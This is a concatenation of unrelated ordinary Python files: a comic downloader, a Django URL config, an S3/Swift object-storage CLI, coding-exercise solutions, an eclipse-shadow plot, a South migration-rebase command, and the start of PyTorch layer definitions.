                print("[Status: " + str(pic.status_code) + "] Something interrupted the download.")
                raise ConnectionError

#Download a range of comics
def download_range(OAM_DICT, start, end):
    start = int(start)
    end = int(end)

    bar = Bar('Downloading', max=end-start+1, suffix='%(percent)d%%')
    for comic in range(start-1, end):
        try:
            download_one(OAM_DICT, comic)
        except ConnectionError:
            bar.finish()
            print("There was a connection error. Download halted.")
            break
        bar.next()
    bar.finish()

def int_value_error_msg():
    print("The release numbers must be integers.")

# Handle the option to set a custom path
def set_custom_path():
    if arguments["--path"] and os.path.isdir(arguments["--path"]):
        global ROOT_DIR
        ROOT_DIR = os.path.join(arguments["--path"], "OAM")
        return True
    elif arguments["--pathc"]:
        # TODO: So, what if this fails?
        if not os.path.isdir(arguments["--pathc"]):
            os.makedirs(arguments["--pathc"])
        ROOT_DIR = os.path.join(arguments["--pathc"], "OAM")
        return True
    return False

#Command for downloading every comic
def download_all():
    OAM_DICT = read_in_OAM_DICT()
    if OAM_DICT:
       download_range(OAM_DICT, 1, len(OAM_DICT))

#Command for downloading a specific comic by release number
def download_release_num():
    OAM_DICT = read_in_OAM_DICT()
    try:
        num = int(arguments["<NUM>"])
    except ValueError:
        int_value_error_msg()
        return

    if OAM_DICT and is_valid_release_num(OAM_DICT, num):
        download_one(OAM_DICT, num)
        print("Downloaded", num)

# Command for downloading a range of comics by release number
def download_release_num_range():
    OAM_DICT = read_in_OAM_DICT()
    if OAM_DICT is None:
        return

    try:
        start = int(arguments["<START>"])
        end = int(arguments["<END>"])
    except ValueError:
        int_value_error_msg()
        return

    if start > end:
        print("Start must be lower than N")
        return

    if is_valid_release_num(OAM_DICT, start) and is_valid_release_num(OAM_DICT, end):
        try:
            download_range(OAM_DICT, start, end)
            print("Downloaded from", start, "to", end)
        except ConnectionError:
            pass

def find_date(date_str):
    pass
    '''dateregex = re.compile(r"(\d{4})-(\d{2})-(\d{2})")
    if not dateregex.match(date_str)
        print("That date did not match yyyy-mm-dd")
        return
    matches = re.find("")'''

def main():
    if arguments["--create"]:
        create()
    elif arguments["--download"]:
        if arguments["--path"] or arguments["--pathc"]:
            path_was_set = set_custom_path()
            if not path_was_set:
                print("oam-dl: That path could not be set")
                return
        if arguments["<NUM>"]:
            download_release_num()
        elif arguments["<START>"] or arguments["<END>"]:
            download_release_num_range()
        elif arguments["-a"]:
            download_all()
    elif arguments["-h"] or arguments["--help"]:
        print(__doc__)
    else:
        print("oam-dl: invalid option")
        print("Try 'oam-dl --help' for more information")

if __name__ == '__main__':
    main()


"""

esimCloud URL Configuration

"""
from django.urls import path
from django.conf.urls import url, include
from publishAPI import views as publishAPI_views
from rest_framework import routers

router = routers.SimpleRouter()
router.register(r'tags', publishAPI_views.TagsViewSet,
                basename='tag')
router.register(r'publish/publishing', publishAPI_views.PublicProjectViewSet,
                basename='publish')
router.register(r'publish/myproject', publishAPI_views.MyProjectViewSet,
                basename='project')
# router.register(r'circuits', publishAPI_views.PublishViewSet,
#                 basename='Project')

urlpatterns = [
    url(r'^', include(router.urls)),
    path('publish/project/<uuid:circuit_id>',
         publishAPI_views.ProjectViewSet.as_view(), name='create'),
]


#
#   CLI code
#

import argparse, os, sys

from .SwiftClient import *
from .S3Client import *

CLI_VERSION = "0.3"
LIB_VERSION = "2.0.2" # Sync with versino in setup.cfg

parser = argparse.ArgumentParser(
    prog="obs_client",
    description="Object Storage Client CLI tool that simplify managing object storage",
    epilog="This is an open source project: https://github.com/Totalus/object-storage-client"
)

subparsers = parser.add_subparsers(dest="command", required=True, metavar='<command>', title="Commands", help="Operation to execute")

sp = subparsers.add_parser('version', help='Print version')

sp = subparsers.add_parser('test-config', help="Test configuration and connectivity to the storage backend")
sp = subparsers.add_parser('container-list', help="List containers (see also the `ls` command)")

sp = subparsers.add_parser('container-create', help="Create a container")
sp.add_argument('container', metavar='<container>' , help="Container name")

sp = subparsers.add_parser('container-delete', help="Delete a container")
sp.add_argument('container', metavar='<container>' , help="Container name")
sp.add_argument('--force', action="store_true", help="Delete container and all of its objects")

sp = subparsers.add_parser('upload', help="Upload a file (or from stdin if --file unspecified)")
sp.add_argument('--file', '-f', metavar='<file path>', help="Local file to upload")
sp.add_argument('object', metavar='<object path>', help="Target object path. If --container is not specified, the first part of the <object path> is assumed to be the container name (i.e. `<object path> = <container name>/<object name>`)")
sp.add_argument('--container', metavar='<container name>', help="Container name. Optionally you can specify the container name in the object path instead (ex: <container>/<object_name>)")
sp.add_argument('--meta', '-m', metavar='<key>=<value>', help="Metadata key-value pairs", action="append", default=[])

sp = subparsers.add_parser('download', help="Download a file")
sp.add_argument('object', metavar='<object path>', help="Object to download (`<container name>/<object name>`, unless --container is specified)")
sp.add_argument('--file', metavar='<file path>', help="Target file")
sp.add_argument('--container', metavar='<container name>', help="Container name. Optionally you can specify the container name in the object path instead (ex: <container>/<object_name>)")

sp = subparsers.add_parser('object-delete', help="Delete an object")
sp.add_argument('object', metavar='<object name>', help="Object name")
sp.add_argument('--container', metavar='<container name>', help="Container name. Optionally you can specify the container name in the object path instead (ex: <container>/<object_name>)")

sp = subparsers.add_parser('ls', help="List containers and objects as if it was the file system.")
sp.add_argument('path', nargs='?')

sp = subparsers.add_parser('info', help="Get object or container info")
sp.add_argument('path', metavar='<container>/<object>', help="Container or object path")

sp = subparsers.add_parser('list', help="List objects that match the given prefix")
sp.add_argument('path', metavar='<container>/<prefix>', help="Path prefix", nargs='?')

# sp = subparsers.add_parser('object-set-metadata')
# sp = subparsers.add_parser('object-delete-metadata')
# sp = subparsers.add_parser('object-replace-metadata')

args = parser.parse_args()

CONFIGURATION_HELP_TEXT = """
# For AWS S3
    - Set the following environment variable: export OBS_S3_LOCATION=<your-aws-location>
    - Ensure your AWS credentials are available

# For Openstack Swift
    - Set the following environment variables: export OBS_SWIFT_REGION=<your-openstack-swift-storage-region>
    - Ensure your OpenStack credentials are available in the environment
"""

def verify_configuration() -> ObjectStorageClient:

    swift_region = os.environ.get('OBS_SWIFT_REGION')
    s3_location = os.environ.get('OBS_S3_LOCATION')

    if swift_region is not None and s3_location is not None:
        print('OBS_SWIFT_REGION and OBS_S3_LOCATION cannot be both defined in the environment')
        print(CONFIGURATION_HELP_TEXT)
        exit()

    if swift_region is None and s3_location is None:
        print('Storage backend not configured:')
        print(CONFIGURATION_HELP_TEXT)
        exit()

    if swift_region is not None:
        return SwiftClient(region=os.environ.get('OBS_SWIFT_REGION'))
    elif s3_location is not None:
        return S3Client(location=os.environ.get('OBS_S3_LOCATION'))

if __name__ == "__main__":

    if args.command == 'version':
        print(f'Universal Object Storage CLI: {CLI_VERSION}')
        print(f'Universal Object Storage LIB: {LIB_VERSION}')
        exit()

    client = verify_configuration() # Returns the client (or exits the script on misconfiguration)

    if args.command == "test-config":
        if isinstance(client, SwiftClient):
            print(f'Connecting to OpenStack Swift (region={client.region})')
        elif isinstance(client, S3Client):
            print(f'Connecting to AWS S3 (location={client.location})')

        client.container_list() # Assume it throws an error on failure
        print('Connection is working!')

    elif args.command == "container-list":
        res = client.container_list()
        print(f'Container list ({len(res)} containers)')
        for i in range(0, len(res)):
            size_str = (str(round(res[i].bytes/1024/1024)) + ' Mb').rjust(10)
            print(f" {i+1}) {res[i].name.ljust(50)} {size_str} ({res[i].count} objects)")

    elif args.command == "container-create":
        if client.container_create(args.container):
            print('Container created:', args.container)

    elif args.command == "container-delete":
        info = client.container_info(args.container)
        if info is None:
            print(f'Container `{args.container}` does not exist.')
            exit()

        if args.force:
            if info.count != 0:
                confirm = input(f'WARNING: You are about to delete a non-empty container. Are you sure you want to delete the container "{info.name}" and all its {info.count} objects ? [y/N]: ')
                if confirm.lower() not in ['y', 'yes']:
                    print('Aborting operation')
                    exit()
        elif info.count:
            print(f'Container contains {info.count} objects. Use --force to delete a non-empty container.')
            exit()

        if client.container_delete(args.container, args.force):
            print('Container deleted:', args.container)

    elif args.command == "upload":
        object_path = args.object
        if args.container is not None:
            container = args.container
        else:
            # Get container from the object path
            container = object_path.split('/')[0]
            object_path = '/'.join(object_path.split('/')[1:])

        meta = {}
        for m in args.meta:
            if len(m.split('=')) == 2:
                meta[m.split('=')[0]] = m.split('=')[1]
            else:
                print(f'Metadata synthax error: `{m}`')
                exit()

        if args.file is not None:
            print(f'Uploading: {container}/{object_path}')
            with open(args.file, 'rb') as f:
                if client.object_upload(f, object_path, container_name=container, metadata=meta):
                    print(f'Upload complete: {container}/{object_path}')
                else:
                    print('Upload failed')
        else:
            print(f'Uploading {container}/{object_path} from stdin')
            if client.object_upload(sys.stdin.buffer, object_path, container_name=container, metadata=meta):
                print(f'Upload complete: {container}/{object_path}')
            else:
                print('Upload failed')

    elif args.command == "download":
        object_path = args.object
        if args.container is not None:
            container = args.container
        else:
            # Get container from the object path
            container = object_path.split('/')[0]
            object_path = '/'.join(object_path.split('/')[1:])

        if args.file:
            print(f'Downloading {container}/{object_path} to {args.file}')
            with open(args.file, 'wb') as f:
                if client.object_download(object_path, f, container_name=container):
                    print('Download complete:', args.file)
                else:
                    print('Download failed')
        else:
            if not client.object_download(object_path, sys.stdout.buffer, container_name=container):
                print('Download failed', file=sys.stderr)

    elif args.command == "info":
        path : str = args.path

        container = path.split('/')[0]

        if path.endswith('/') or '/' not in path:
            # Can be a container
            info = client.container_info(container)

            if info is not None:
                if info.count is not None:
                    count = info.count
                if info.bytes is not None:
                    size = info.bytes

                if info.count is None or info.bytes is None:
                    info = client.container_list(container)[0]
                    if info.count is not None:
                        count = info.count
                    if info.bytes is not None:
                        size = info.bytes

                print(f'----- Container info -----')
                print('Container Name     :', info.name)
                if count is not None:
                    print('Object count       :', count)
                if size is not None:
                    print('Total size (bytes) :', size)
            exit()

        if '/' in path:
            # Could be an object
            object = '/'.join(path.split('/')[1:])
            info = client.object_info(object_name=object, container_name=container)

            if info is not None:
                print(f'----- Object info -----')
                print(f'Object Name  : {info.name}')
                print(f'Container    : {container}')
                print(f'Size         : {info.bytes} bytes')
                print(f'Content-Type : {info.content_type}')
                print(f'Hash         : {info.hash}')
                if info.metadata is None or len(info.metadata.keys()) == 0:
                    print(f'Metadata     : (none)')
                else:
                    print(f'Metadata     :')
                    for k in info.metadata:
                        print(f' - {k} = "{info.metadata[k]}"')
                exit()

        print(f'Specified object or container not found: {path}')
        exit()

    elif args.command == "object-delete":
        object_path = args.object
        if args.container is not None:
            container = args.container
        else:
            # Get container from the object path
            container = object_path.split('/')[0]
            object_path = '/'.join(object_path.split('/')[1:])

        info = client.object_info(object_name=object_path, container_name=container)
        if info is None:
            print(f'Object `{object_path}` does not exist in container `{container}`')
            exit()

        if client.object_delete(object_name=object_path, container_name=container):
            print(f'Object deleted: {container}/{object_path}')
        else:
            print(f'Object delete failure')

    elif args.command == "ls":
        if args.path is None:
            res = client.container_list()

            print(f'--- {len(res)} containers ---')
            if len(res) > 0:
                maxLen = max([ len(i.name) for i in res])
            for i in res:
                size_str = (str(round(i.bytes/1024/1024)) + ' Mb').rjust(10)
                print(f"{i.name.ljust(maxLen + 10)} {size_str} ({i.count} objects)")
        else:
            container = args.path.split('/')[0]
            object_path: str = '/'.join(args.path.split('/')[1:])

            if object_path.endswith('*'): # Wildcard search
                object_path = object_path[0:-1]
            elif not object_path.endswith('/') and len(object_path) > 0 and client.object_info(container_name=container, object_name=object_path) == None:
                object_path += '/' # Assume folder name

            res = client.object_list(container_name=container, delimiter='/', prefix=object_path)
            prefix_to_remove = '/'.join(object_path.split('/')[0:-1])
            if len(prefix_to_remove) > 0: prefix_to_remove += '/'
            if len(res) > 0:
                maxLen = max([ len(i.subdir if type(i) == SubdirInfo else i.name) for i in res])
            for i in res:
                if type(i) == SubdirInfo:
                    subdir = i.subdir[len(prefix_to_remove):]
                    print(f'{subdir}')
                else: # ObjectInfo
                    name = i.name[len(prefix_to_remove):]
                    print(f'{name.ljust(maxLen)}  {str(i.bytes).rjust(10)} bytes')

    elif args.command == "list":
        if args.path is None:
            res = client.container_list()

            print(f'--- {len(res)} containers ---')
            if len(res) > 0:
                maxLen = max([ len(i.name) for i in res])
            for i in res:
                size_str = (str(round(i.bytes/1024/1024)) + ' Mb').rjust(10)
                print(f"{i.name.ljust(maxLen + 10)} {size_str} ({i.count} objects)")
        else:
            container = args.path.split('/')[0]
            object_path: str = '/'.join(args.path.split('/')[1:])

            res = client.object_list(container_name=container, prefix=object_path)

            print(f'--- {len(res)} objects ---')

            if len(res) > 0:
                maxLen = max([ len(i.subdir if type(i) == SubdirInfo else i.name) for i in res])
            for i in res:
                if type(i) == SubdirInfo:
                    print(f'{i.subdir}')
                else: # ObjectInfo
                    print(f'{i.name.ljust(maxLen)}  {str(i.bytes).rjust(10)} bytes')


import sys

def is_palindrome(x):
    """
    :type x: int
    :rtype: bool
    """
    if x < 0:
        return False
    str_x = str(x)
    arr_x = list(str_x)
    arr_x.reverse()
    x_reverse = "".join(arr_x)
    if str_x == x_reverse:
        return True
    else:
        return False

if __name__ == '__main__':
    """ Problem URL: https://leetcode.com/problems/palindrome-number/"""
    for x in sys.argv[1:]:
        is_palindrome(int(x))


try:
    a = input('''Salom.
    Siz python kurslari saytiga kirdingiz.
    Darslarimizga qatnashmoqchi bo'lsangiz quyidagilardan birini tanlang:
    Ha
    Yoq
    ''')
    if a.lower() == "ha":
        ism = input("Ismingizni kiriting: ")
        familiya = input("Familiyangizni kiriting: ")
        email = input("Emailingizni kiriting: ")
        tel = int(input("Telefon raqamingizni kiriting: "))
        print(ism,familiya, "siz bizning python kursimizga kirdingiz, to'liq ma'lumotni bilish uchun adminlarimiz bilan bog'lansangiz bo'ladi")
    elif a.lower() == "yoq":
        print("Kuningiz hayrli o'tsin")
    else:
        print("xatolik bor")

    from main2 import *
    from main3 import *
    from main4 import *
    from main5 import *
    from main6 import *
    from main7 import *
    from main8 import *
    from main9 import *

except ValueError:
    print("Siz text ma'lumot turi kiritdiz")


import numpy as np
import matplotlib.pyplot as plt

rs = 0.4
Rp = 1 #x of the Earth from the sun
re = 0.15
th = np.linspace(start=0.,stop=2.*np.pi,num=1000)
phi = np.arccos((-re+rs)/Rp)

plt.figure()
#sun circle
xs = rs*np.cos(th)
ys = rs*np.sin(th)
plt.plot(xs,ys,color='black',zorder=50)
#Sun Center
plt.scatter(0,0,color='black',zorder=50)
#sun vertical
plt.plot([0,0],[0,rs],color='black',zorder=50)

#Earth
xs = re*np.cos(th) + Rp
ys = re*np.sin(th)
plt.plot(xs,ys,color='black',zorder=50)
#Earth Center
plt.scatter(Rp,0,color='black',zorder=50)

#Sun Center to Earth Center
plt.plot([0,Rp],[0,0],color='black',zorder=50)

#Sun Center to Left of Sun
plt.plot([0,-rs],[0,0],color='black',zorder=50)

#Sun triangle
sunTangentPoint = np.asarray([rs*np.cos(phi),rs*np.sin(phi)])
plt.plot([0,rs*np.cos(phi)],[0,rs*np.sin(phi)],color='black',zorder=50) #hypotenuse
#plt.plot([rs*np.cos(phi),rs*np.cos(phi)],[0,rs*np.sin(phi)],color='black') #vertical

#Earth triangle
plt.plot([Rp,Rp+re*np.cos(phi)],[0,re*np.sin(phi)],color='black',zorder=50) #hypotenuse
#plt.plot([Rp+re*np.cos(phi),Rp+re*np.cos(phi)],[0,re*np.sin(phi)],color='black') #vertical

#Earth Center to Vertex
y = rs/np.cos(phi) - Rp #distance from Earth to Vertex
Vertex = np.asarray([y+Rp,0]) #Vertex
plt.plot([Rp,Rp+y],[0,0],color='black',zorder=50)

#Sun Tangent +y to Vertex
plt.plot([sunTangentPoint[0],Vertex[0]],[sunTangentPoint[1],Vertex[1]],color='black',zorder=50)
plt.plot([sunTangentPoint[0],Vertex[0]],[-sunTangentPoint[1],Vertex[1]],color='black',zorder=50)

#Penumbra Angle
gamma = np.pi - (np.arcsin(re/Rp + rs/Rp) + np.pi/2.)
sunPenumbraTangentmy = np.asarray([rs*np.cos(gamma),-rs*np.sin(gamma)])
sunPenumbraTangentpy = np.asarray([rs*np.cos(gamma),rs*np.sin(gamma)])
#Sun Center to Sun Penumbra Tangent Point negative y
plt.plot([0,sunPenumbraTangentmy[0]],[0,sunPenumbraTangentmy[1]],color='black',zorder=50)
#Sun Center to Sun Penumbra Tangent Point positive y
plt.plot([0,sunPenumbraTangentpy[0]],[0,sunPenumbraTangentpy[1]],color='black',zorder=50)
#Earth Center to Earth Penumbra Tangent Point positive y
plt.plot([Rp,Rp-re*np.cos(gamma)],[0,re*np.sin(gamma)],color='black',zorder=50)
#Earth Center to Earth Penumbra Tangent Point negative y
plt.plot([Rp,Rp-re*np.cos(gamma)],[0,-re*np.sin(gamma)],color='black',zorder=50)
#Negative y Sun Penumbra Tanget Point to Positive y Earth Penumbra tangent point
plt.plot([sunPenumbraTangentmy[0],Rp-re*np.cos(gamma)],[sunPenumbraTangentmy[1],re*np.sin(gamma)],color='black',zorder=50)
#Positive y Sun Penumbra Tanget Point to Negative y Earth Penumbra tangent point
plt.plot([sunPenumbraTangentpy[0],Rp-re*np.cos(gamma)],[sunPenumbraTangentpy[1],-re*np.sin(gamma)],color='black',zorder=50)
#Positive y Earth Penumbra tangent point to VERTEX X, positive Y
yPenumbraAtVertexX = np.sin(np.pi/2. - gamma)*(y+rs*np.sin(gamma))
plt.plot([Rp-re*np.cos(gamma),Rp+y],[re*np.sin(gamma),yPenumbraAtVertexX+re*np.sin(gamma)],color='black',zorder=50)
plt.plot([Rp+y,Rp+y],[0,yPenumbraAtVertexX+re*np.sin(gamma)],color='black',zorder=50) #far right vertical line positive
#Negative Y Earth Penumbra tangent point to Vertex X, positive Y
plt.plot([Rp-re*np.cos(gamma),Rp+y],[-re*np.sin(gamma),-yPenumbraAtVertexX-re*np.sin(gamma)],color='black',zorder=50)
plt.plot([Rp+y,Rp+y],[0,-yPenumbraAtVertexX-re*np.sin(gamma)],color='black',zorder=50) #far right vertical line negative

#from matplotlib.patches import Polygon
#from matplotlib.collections import PatchCollection

#Plot Light Grey Triangles, Penumbra
#Rp-re*np.cos(gamma),Rp+y],[-re*np.sin(gamma),-yPenumbraAtVertexX-re*np.sin(gamma)
penumbraPositiveYcorners = np.asarray([[Rp-re*np.cos(gamma),re*np.sin(gamma)],[Rp+y,0],[Rp+y,yPenumbraAtVertexX+re*np.sin(gamma)]])
t1 = plt.Polygon(penumbraPositiveYcorners, color='lightgrey',zorder=5)
plt.gca().add_patch(t1)
penumbraNegativeYcorners = np.asarray([[Rp-re*np.cos(gamma),-re*np.sin(gamma)],[Rp+y,0],[Rp+y,-yPenumbraAtVertexX-re*np.sin(gamma)]])
t2 = plt.Polygon(penumbraNegativeYcorners, color='lightgrey',zorder=5)
plt.gca().add_patch(t2)
#Plot Umbra
umbraCorners = np.asarray([[Rp+re*np.cos(phi),re*np.sin(phi)],[Rp+re*np.cos(phi),-re*np.sin(phi)],[Rp+y,0]])
t3 = plt.Polygon(umbraCorners, color='grey',zorder=10)
plt.gca().add_patch(t3)
#Plot Earth Circle
#from matplotlib.patches import Circle
t4 = plt.Circle((Rp,0),radius=re,color='white',zorder=20)
plt.gca().add_patch(t4)

plt.axes().set_aspect('equal')
plt.show(block=False)


import time

def filename(rc=None, action=None, array_id=None, directory=None,
        ctime=None):

    if (directory is None):
        directory = ""

    if (ctime is None):
        ctime = time.time();

    ctime_string = "%10i" % (ctime)
    name = ctime_string
    acq_id = ctime_string

    name = directory + "/" + name
    if (array_id is not None):
        name += "_" + array_id

    if (rc is not None):
        name += "_RC" + rc

    if (action is not None):
        name += "_" + action

    return name


class Person:
    name = None
    gender = None
    age = None

    count = 0
    ageSum = 0

    def __init__(self,name,gender,age):
        self.name = name
        self.gender = gender
        self.age = age

        Person.count = Person.count + 1
        Person.ageSum += self.age

    def work(self):
        print("일한다")

    def char(self):
        print("친화력 있다")

    def __str__(self):
        return self.name + ' ' + self.gender + ' ' + str(self.age)

p1 = Person('홍길동','남',30)

print(p1)
p1.work()
print(Person.count,'명')

p2 = Person('철수','남',40)

print(p2)
p2.work()
print(Person.count,'명')

p3 = Person('수박','남',50)

print(p3)
p3.work()
print(Person.count,'명')

print(int(Person.ageSum/3),'살')


import collections

class Solution:
    def largestVariance(self, s: str) -> int:
        max_variance = 0
        char_pos = collections.defaultdict(list)

        for i, c in enumerate(s):
            char_pos[c].append(i)

        for a in char_pos.keys():
            for b in char_pos.keys():
                if a == b:
                    continue

                a_idx = b_idx = a_cnt = b_cnt = 0
                A, B = len(char_pos[a]), len(char_pos[b])

                while a_idx < A or b_idx < B:
                    if a_idx < A and (b_idx == B or char_pos[a][a_idx] < char_pos[b][b_idx]):
                        a_cnt += 1
                        a_idx += 1

                    elif b_idx < B:
                        b_cnt += 1
                        b_idx += 1

                    if b_cnt < a_cnt and a_idx < A:  # reset counter
                        a_cnt = b_cnt = 0

                    if a_cnt > 0 < b_cnt:  # update if both of them are > 0
                        max_variance = max(max_variance, b_cnt - a_cnt)

        return max_variance

if __name__ == "__main__":
    assert Solution().largestVariance(s="aababbb") == 3
    assert Solution().largestVariance(s="abcde") == 0
    assert Solution().largestVariance(s="icexiahccknibwuwgi") == 3


"""
Migrate management command.
"""

from __future__ import print_function

from copy import deepcopy
import os
from itertools import chain
from optparse import make_option
import pprint
import subprocess
from StringIO import StringIO

from two2three.pgen2 import driver
from two2three import pygram, pytree

from django.core.management.base import BaseCommand
from django.utils.importlib import import_module

from south.migration import Migrations

from south_rebase.diff import ModelsDiff

class Command(BaseCommand):
    option_list = BaseCommand.option_list + (
        make_option('--git', action='store_const', dest='plan_generator',
                    const='git', default='interactive',
                    help='Rebase all migrations from last commit'),
    )

    def handle(self, app_name=None, **options):
        self.options = options

        if app_name is None:
            print('No app_label given')
            return

        migrations = Migrations(app_name)
        rebase_plan = self.split_migrations(migrations)
        if not rebase_plan.migrations:
            print('No migrations to rebase')
            return

        diffs = []
        for plan_elem in rebase_plan.migrations:
            """Prepare diffs"""
            diffs.append(self.diff_frozen_models(plan_elem['previous'],
                                                 plan_elem['migration']))

        prev_migration = rebase_plan.onto
        self.prepare_file_cache()
        for diff, migration in zip(
                diffs, (m['migration'] for m in rebase_plan.migrations)):
            """Rebase - rename migrations and apply diffs"""
            # Prepare new name for migration
            last_migration_no, _ = split_migration_name(prev_migration.name())
            _, migration_base_name = split_migration_name(migration.name())

            migration_path = self.find_migration_path(migration)
            migration_dir = os.path.dirname(migration_path)

            new_migration_filename = '%04i_%s.py' % (last_migration_no + 1,
                                                     migration_base_name)
            new_migration_path = os.path.join(
                migration_dir, new_migration_filename)

            # patch migration tree
            new_migration_tree = self.get_updated_migration(
                migration, prev_migration, diff=diff)

            self.write_file(new_migration_path,
                            unicode(new_migration_tree).encode('utf-8'))
            self.remove_file(migration_path)

            prev_migration = migration

        self.flush_file_cache()

    def write_file(self, path, content):
        self.files_to_write[path] = content

    def remove_file(self, path):
        self.files_to_remove.append(path)

    def prepare_file_cache(self):
        self.files_to_remove = []
        self.files_to_write = {}  # (filename, content)

    def flush_file_cache(self):
        if all(map(os.path.exists, self.files_to_remove)) and \
                not any(map(os.path.exists, self.files_to_write)):
            for path in self.files_to_remove:
                os.remove(path)
            for path, data in self.files_to_write.items():
                if not isinstance(data, str):
                    data = data.encode('utf-8')
                with open(path, 'w') as f:
                    f.write(data)

    def find_migration_path(self, migration):
        """Find path to file this migration comes from"""
        path = import_module(migration.migration_class().__module__).__file__
        if path.endswith('.pyc'):
            path = path[:-1]
        return path

    def split_migrations(self, all_migrations):
        """Pick splitting algorithm and return rebase_plan"""
        generators = dict(interactive=self.interactive_split_migrations,
                          git=self.git_split_migrations)
        return generators[self.options['plan_generator']](all_migrations)

    def interactive_split_migrations(self, all_migrations):
        """Prepare rebase_plan by asking user about conflicting migrations"""
        rebase_plan = RebasePlan()

        known_migrations_by_number = {}
        for m in all_migrations:
            num, base_name = split_migration_name(m.name())
            known_migrations_by_number.setdefault(num, [])
            known_migrations_by_number[num].append(m)

        rebase_plan.migrations = []
        for num, num_migrations in known_migrations_by_number.items():
            """For every migration number, ask about conflicts"""
            if len(num_migrations) > 1:
                selected_migration = interactive_select(
                    [(m.name(), m) for m in num_migrations],
                    'Colliding migration names:',
                    'pick the one to rebase')

                last_num_migrations = set(known_migrations_by_number[num - 1])
                """last_num_migrations are migrations for previous number,
                minus the one that is already selected for rebasing"""
                if rebase_plan.migrations:
                    last_num_migrations.discard(
                        rebase_plan.migrations[-1]['migration'])

                prev = only_element(last_num_migrations)
                rebase_plan.migrations.append({
                    'migration': selected_migration,
                    'previous': prev,
                })

        last_num_migrations = set(num_migrations)
        if rebase_plan.migrations:
            last_num_migrations.discard(
                rebase_plan.migrations[-1]['migration'])
        rebase_plan.onto = only_element(last_num_migrations)

        return rebase_plan

    def git_split_migrations(self, all_migrations):
        """return plan for rebasing all migrations from last commit"""
        repo_path = os.path.abspath(git_cdup())
        new_migration_paths = set()

        normalize = lambda p: os.path.realpath(p)

        for added, deleted, path in git_diff_tree():
            if added and '/migrations/' in path:
                if not deleted:
                    new_migration_paths.add(normalize(
                        os.path.join(repo_path, path)))
                else:
                    print(u'WARNING: Not using migration "%s" because '
                          u'it is modified and not new' % path)

        # Pick which migrations to rebase
        to_rebase = []
        other_migrations = []
        for migration in all_migrations:
            normalized = normalize(self.find_migration_path(migration))
            if normalized in new_migration_paths:
                to_rebase.append(migration)
            else:
                other_migrations.append(migration)

        first_num = min(migration_number(m) for m in to_rebase)

        others_last_num = max(migration_number(m)
                              for m in other_migrations)

        prev_num = first_num - 1
        last_common_migration = only_element(
            m for m in other_migrations if migration_number(m) == prev_num)

        rebase_plan = RebasePlan()
        for prev, migration in zip(chain([last_common_migration], to_rebase),
                                   to_rebase):
            rebase_plan.migrations.append({
                'previous': prev,
                'migration': migration,
            })
        rebase_plan.onto = only_element(
            m for m in other_migrations
            if migration_number(m) == others_last_num)

        return rebase_plan

    def diff_frozen_models(self, prev_migration, migration):
        """Return differences between frozen models"""
        app_label = migration.app_label()

        prev_models = prev_migration.migration_class().models
        models = migration.migration_class().models

        models_for_diff = {
            m for m in chain(prev_models.keys(), models.keys())
            if m.startswith('%s.' % app_label)}

        filter_for_diff = lambda ms: {k: v for k, v in ms.items()
                                      if k in models_for_diff}

        diff = ModelsDiff.diff(filter_for_diff(prev_models),
                               filter_for_diff(models))
        return diff

    def get_updated_migration(self, migration, prev_migration, diff):
        """Return tree of migration with diff applied"""
        self.driver = driver.Driver(pygram.python_grammar,
                                    convert=pytree.convert)
        migration_src = open(self.find_migration_path(migration)).read() + '\n'
        tree = self.driver.parse_string(migration_src)
        patched_tree = deepcopy(tree)
        self.patch_migration_tree(
            patched_tree,
            diff.apply(prev_migration.migration_class().models))
        return patched_tree

    def patch_migration_tree(self, tree, new_models):
        model_dict_assignment = find_assignments(
            find_classes(tree, name='Migration').next(),
            name='models').next()
        new_models_assignment_tree = self.driver.parse_string(
            'models = %s\n' % pprint_str(new_models))
        new_models_assignment = find_assignments(
            new_models_assignment_tree).next()
        model_dict_assignment.children[2] = new_models_assignment.children[2]

class RebasePlan(object):
    """Object representing a plan for rebasing."""
    def __init__(self):
        self.onto = None  # What is the new base migration?
        self.migrations = []
        """List of dicts of migrations to rebase (in target order). Used keys:
            - migration - the migration that needs rebasing
            - previous - a migration this one was based on.
        """

def split_migration_name(name):
    num, base = name.split('_', 1)
    return int(num), base

def migration_number(migration):
    return split_migration_name(migration.name())[0]

def iterate_tree(tree):
    yield tree
    for child in tree.children:
        for node in iterate_tree(child):
            yield node

def find_classes(tree, name=None):
    """Find all classes in tree"""
    for node in iterate_tree(tree):
        if node.type == pygram.python_symbols.classdef:
            if name is None or node.children[1].value == name:
                yield node

def find_assignments(tree, name=None):
    for node in iterate_tree(tree):
        if node.type == pygram.python_symbols.expr_stmt and \
                (name is None or name == node.children[0].value) and \
                node.children[1].value == '=':
            yield node

def interactive_select(options, pre_message=None, post_message=None):
    """Select one of options interactively"""
    if len(options) == 0:
        return
    if not isinstance(options[0], tuple):
        options = [(unicode(o), o) for o in options]
    if len(options) == 1:
        return options[0][1]

    def print_options():
        if pre_message is not None:
            print(pre_message)

        for i, (opt_name, opt_value) in enumerate(options):
            print('% 4i: %s' % (i, opt_name))

        if post_message is not None:
            print(post_message)

    option_index = -1

    while not 0 <= option_index < len(options):
        try:
            print_options()
            option_index = int(raw_input())
        except ValueError:
            pass

    return options[option_index][1]

def only_element(collection):
    """Return the only element of collection, or throw if it has more"""
    coll_iter = iter(collection)
    try:
        elem = coll_iter.next()
    except StopIteration:
        raise ValueError('Empty collection')
    try:
        coll_iter.next()
        raise ValueError('Collection has more elements')
    except StopIteration:
        return elem

def pprint_str(obj, **kwargs):
    assert 'stream' not in kwargs
    stream = StringIO()
    pprint.pprint(obj, stream=stream, **kwargs)
    return stream.getvalue()

def git_diff_tree(treeish='HEAD', other_treeish=None):
    """Does git diff-tree and yields tuples of (added, deleted, file_path)"""
    args = 'git diff-tree --numstat -r -z'.split() + [treeish]
    if other_treeish is not None:
        args.append(other_treeish)
    raw_output = subprocess.check_output(args)
    # Drop the first line - it's the commit hash
    lines = raw_output.split(chr(0))[1:]
    for line in filter(None, lines):
        added, deleted, path = tuple(line.split('\t'))
        yield (int(added), int(deleted), path.decode('utf-8'))

def git_cdup():
    """Return path to root of git project"""
    return subprocess.check_output('git rev-parse --show-cdup'.split()).strip()


import torch
import cfg

class UpsampleLayer(torch.nn.Module):

    def __init__(self):
        super().__init__()

    def forward(self, x):
        return torch.nn.functional.interpolate(x, scale_factor=2, mode='nearest')

class ConvolutionalLayer(torch.nn.Module):

    def __init__(self, in_channels, out_channels, kernel_size, stride, padding, bias=False):
        super().__init__()

        self.sub_module = torch.nn.Sequential(
            torch.nn.Conv2d(in_channels, out_channels, kernel_size, stride, padding, bias=bias),
            torch.nn.BatchNorm2d(out_channels),
